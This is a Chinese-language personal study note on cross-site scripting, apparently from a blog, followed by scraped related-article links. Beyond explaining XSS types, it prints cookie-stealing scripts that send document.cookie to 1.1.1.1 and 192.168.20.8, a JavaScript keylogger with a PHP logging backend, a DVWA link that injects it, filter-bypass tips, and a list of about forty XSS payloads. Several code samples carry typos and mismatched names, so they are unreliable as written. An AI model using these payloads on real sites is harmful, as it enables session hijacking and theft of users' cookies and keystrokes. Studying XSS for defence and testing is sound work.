XSS漏洞简单概述–UGa

                                 个人笔记向,请多指点

*简介

XSS作为OWASP TOP 10之一,XSS被称为跨站脚本攻击(Cross-site scripting) ,本来应该缩写为CSS,但是由于和CSS (Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。

XSS通过将精心构造的代码(JS) 代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器.上网,并且浏览器中有javascript解释器,可以解析javascript, 然而浏览器不会判断代码是否恶意。也就是说,XSS的对象是用户和浏览器。

微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。

*XSS危害

XSS利用JS代码实现攻击,有很多中攻击方法,以下简单列出几种:

1.盗取各种用户账号
2.窃取用户Cookie资料,冒充用户身份进入网站
3.劫持用户会话,执行任意操作

*JavaScript

/与Java语言无关,命名完全出于市场原因,使用最广的客户端脚本语言使用场景/

1.直接嵌入html:<script>alert('XSS');</script>`。
`2.元素标签事件:`<body onload=alert('XSS')>
3.图片标签:<img src="javascript:alert('XSS');>
4.其他标签:<iframe>,<div>,and<link>
5.DOM对象:篡改页面内容

*攻击参与方

·攻击者
·被攻击者
·漏洞站点
·第三方站点(攻击目标、攻击参与站)
/第三方网站在其中的作用如为攻击目标时,则攻击者会在某些流量大的网站上注入恶意js,该js指向第三方网站,则过多的流量将会直接冲垮该第三方网站;为如攻击参与站,则为攻击者所制作的钓鱼类型网站或者是某恶意网站/

                                     攻击示意图

*漏洞形成的根源

1.服务器对用户提交数据过滤不严
2.提交给服务器的脚本被直接返回给其他客户端执行
3.脚本在客户端执行恶意操作

*XSS漏洞类型

1.存储型(持久型)
/此种类型为攻击者直接在有漏洞的网站上植入恶意js代码,并残留在上面,以至于每次访问代码都会被激活/
2.反射型(非持久)
/需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面/
3.DOM型/DOM:通过JavaScript,可以重构整个HTML文档,就是说可以添加,移除等等,对页面的某个东西进行操作时,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口就是DOM,所以在DOM型的xss漏洞利用中,DOM可以看成是一个访问HTML的标准程序接口/

                                 DOM概念图示

*检测/注入语句(PoC验证性插入代码)

1.<script>alert('xss')</script>
2.<a href=" onclick=alert('xss')>type</a>
3.<img src=http://1.1.1.1/a.jpg onerror=alert('xss')>

/以上为经常使用的简单检测语句/

4.<script>-window.location='http://1.1.1.1'</script>
5.<iframe 'sRC="http://1.1.1.1/victim" height = "O" width ="O"></iframe>

/简单注入型,储存行/

6.<script>new Image().src="http://1.1.1.1/.php3output="+document.cookie;</script>
7.<script>document.body.innerHTML="<div style=visibility:visible;>h1>THISWEBSITE IS UNDER ATTACK</h1></div>";</script>

/利用dom特性的注入型xss/

*窃取cookie

<script src=1.1.1.1/a.js></script>

A.js源码

var img = new Image();

/定义一个新函数/
img src="http://1.1.1.1/cookies.php?cookie="+document.cookie;–>源码
/直接到指定的页面去寻找a.js源码,并且发送cookie/

*Keylogger.js(键盘输入型脚本)

/键盘储存脚本,适时记录用户所输入的东西/

.js源码:

Document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key){var http = new XMLHttpRequest();
var param = encodeURl(key)http.open("POST","http://192.168.20.8/keylogger.php",true);http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);}
}

.php储存数据的源码:
Keylogger.php

<?php$key=$_POST['key];
$loafile="keylog.txt";
$fp = fopen($logfile,"a");
fwite($fp,$key);
.    fclose($fg);

Payload

<script src="http://1.1.1.1/keylogger.js"></script>
<a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.20.8/keylogger.js'></script>">xss</a>

*XSS漏洞防范绕过

在xss漏洞中,可能会出现过滤掉string也就是字符的时候,例如会把script这个东西过滤掉,此时可以通过嵌套分离避过过滤器<scr

另有直接把输入的代码彻底转换成一个字符值,不再识别<>符号,此时可以把符号转换成< >url编码形式来进行绕过,通过注销前一段语句使script语句闭合也是一种方式(“>;/>…)

另,如果注入点就本身在某个已有的标记以内(如<a …)此类,此时就可以直接插入语句来注入。

*存储型漏洞

/长期存储于服务器端,每次用户访问都会被执行javascript脚本/
Name:客户端表单长度限制
客户端、截断代理

a.js源码:

<script src=http://1.1.1.1/a.js></script>
var img = new lmage();
img.src = "http://1.1.1.1:88/cookies.phpcookie="+document.cookie;

*DOM型漏洞

<script>var img=document.createElement("img");img.src="http://192.168.20.8:88/log?"+escape(document.cookie);</script>

*payload
各种类型,摘抄如下

1</script>"><script>prompt(1)</script>
2 </ScRiPt>"><ScRiPt>prompt(1)</ScRiPt>
3 "><img src=x onerror=prompt(1)>
4 "><svg/onload=prompt(1)>
5 "><iframe/src=javascript:prompt(1)>
6 "><h1 onclick=prompt(1)>Clickme</h1>
7 "><a href=javascript:prompt(1)>Clickme</a>
8 "><a href="javascript:confirm%28 1%29">Clickme</a>
9 "><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>
10 "><textarea autofocus onfocus=prompt(1)>
11 "><a/href=javascript&colon;co\u006efir\u006d&#40;&quot;1&quot;&#41;>clickme</a>
12 "><script>co\u006efir\u006d`1`</script>
13 "><ScRiPt>co\u006efir\u006d`1`</ScRiPt>
14 "><img src=x onerror=co\u006efir\u006d`1`>
15 "><svg/onload=co\u006efir\u006d`1`>
16 "><iframe/src=javascript:co\u006efir\u006d%28 1%29>
17 "><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>
18 "><a href=javascript:prompt%28 1%29>Clickme</a>
19 "><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a>
20 "><textarea autofocus οnfοcus=co\u006efir\u006d(1)>21 "><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome
22 "><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme
23 "><img/src=x%0Aonerror=prompt`1`>
24 "><iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;">
25 "><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>
26 <details/open/ontoggle=alert(1)>
27 <svg/onload=alert(1)>
28 <img/src/onerror=alert(1)>
29 <video/src/onerror=alert(1)>
30 <script>(alert)(1)</script>
31 <video><sourceonerror="javascript:alert(1)">
32 <video/src/onloadstart="alert(1)">
33 <ahref=javascript:alert(1)>222</a>
34 xmp:
35 <xmp><p title="</xmp><svg/onload=alert(45)>>
36 noscript:
37 <noscript><p title="</noscript><svg/onload=alert(45)>>
38 noframes:
39 <noframes><p title="</noframes><svg/onload=alert(45)>>
40 iframe:
41 <iframe><p title="</iframe><svg/οnlοad=alert(45)>">

XSS漏洞简单概述--UGa相关推荐

  1. Xss漏洞原理分析及简单的讲解

    感觉百度百科 针对XSS的讲解,挺不错的,转载一下~ XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS, ...

  2. url存在宽字节跨站漏洞_【XSS漏洞】XSS漏洞相关总结v1.0

    点击上方"公众号" 可以订阅哦! Hello,各位小伙伴周五晚上好~ 终于到了XSS漏洞的完结篇啦~~ 感觉本公众号写的最多的就是XSS,现在可以告一段落了... 让我们来看看第一 ...

  3. 【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF

    目录 1 案例简介 1.1 案例目的 1.2 案例环境 2 案例一:浏览器劫持 2.1 概述 2.2 案例步骤 3 案例二:会话劫持 3.1 概述 3.2 案例步骤 4 案例三:GetShell 4. ...

  4. XSS漏洞讲解与多篇实战讲解

    跨站脚本攻击 XSS攻击基础 概述 个人对XSS攻击的原理认知: 原理:对可以控制传参的位置,比如url链接中,输入框中,首先闭合输出参数位置前后网页标签,在闭合的中间加上JavaScript代码或者 ...

  5. 基于网络爬虫的XSS漏洞检测技术

    1. 背景和意义 在早期的网站设计中,网页的存在形式都是静态的.静态的网页内容稳定,不会经常更新,但是在后期却不易维护.如果需要维护更新网页,则必须重新编辑HTML网页,因此当网站很庞大的时候,维护静 ...

  6. XSS漏洞及其原理(详解)

    文章目录 前言 一.XSS漏洞原理 1.概述 2.利用方式 3.执行方式 4.攻击对象 5.XSS危害 (1)窃取cookie (2)未授权操作 (3)传播蠕虫病毒 6.简单代码 7.XSS验证 8. ...

  7. 【XSS漏洞07】基于神器beEF的XSS漏洞利用实验(浏览器劫持、会话劫持、GetShell)

    目录 1 实验简介 1.1 实验目的 1.2 实验环境 2 实验一:浏览器劫持 2.1 概述 2.2 实验步骤 3 实验二:会话劫持 3.1 概述 3.2 实验步骤 4 实验三:GetShell 4. ...

  8. 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

    年后趁着需要做安全测试系统不多的这个空档,学学python到处逛逛复现复现和分析一些简单的漏洞 --from Lyricbao 0x00 复现环境 phpstudy wordpress 4.4版本 Q ...

  9. Flash XSS 漏洞详解 根治的好办法

    本文的目的是深层次的分析Flash的ExternalInterface的XSS漏洞,并提出比较有效的解决方案. 首先,我们看看什么情况下,会出现XSS. 第一种情况:   把flashvars传入的参 ...

最新文章

  1. java观察者模式_Java设计模式之观察者模式详解
  2. 3 种场景 @Transactional 失效的解决方法
  3. ThinkPHP 模型方法 setInc() 和 setDec()
  4. Python eval函数用法简介
  5. 一站式导航 -- 奋斗の博客
  6. Excel计数(count)可视化
  7. .xyz域名注册总量TOP10:阿里云挤进十强 位居榜尾
  8. Python基础知识之面向对象编程
  9. 汇编语言程序设计---期末复习大纲知识点总结(王爽第二版)
  10. 网页保存到mysql数据库_把网页数据保存到数据库
  11. 如果心酸就会心动也应行动
  12. 首席新媒体运营黎想教程:3步教你如何做好社群运营
  13. js实现键盘数字输入
  14. postgres支持AES加密配置
  15. 遍历某个文件夹中所有文件夹名和文件名
  16. 程序员的半衰期只有15年
  17. 鸿蒙发布会图文直播,华为nova 7系列线上发布会图文直播
  18. Deeplabv3+ Pytorch训练cityscapes数据集
  19. 理解java代理模式
  20. 基于Zero-Ice搭建的物联网监控平台

热门文章

  1. N2语法汇总(190条)
  2. 给未来的你---李开复
  3. 前缀和数组(java)
  4. nefuoj 9 喜洋洋
  5. linux服务器运维实战记录,linux运维好书推荐《高性能Linux服务器运维实战》
  6. 中国电视企业逆势增长,助推中国制造走向世界
  7. 万豪旅享家旗下万怡酒店品牌落子江苏江阴
  8. 如何设计公司网站首页?要注意什么
  9. 一起赚美元① | 通过一个小工具月入12万美元的秘诀
  10. GMTSAR合成孔径雷达干涉测量InSAR数据处理、形变信息提取与分析等实践技术应用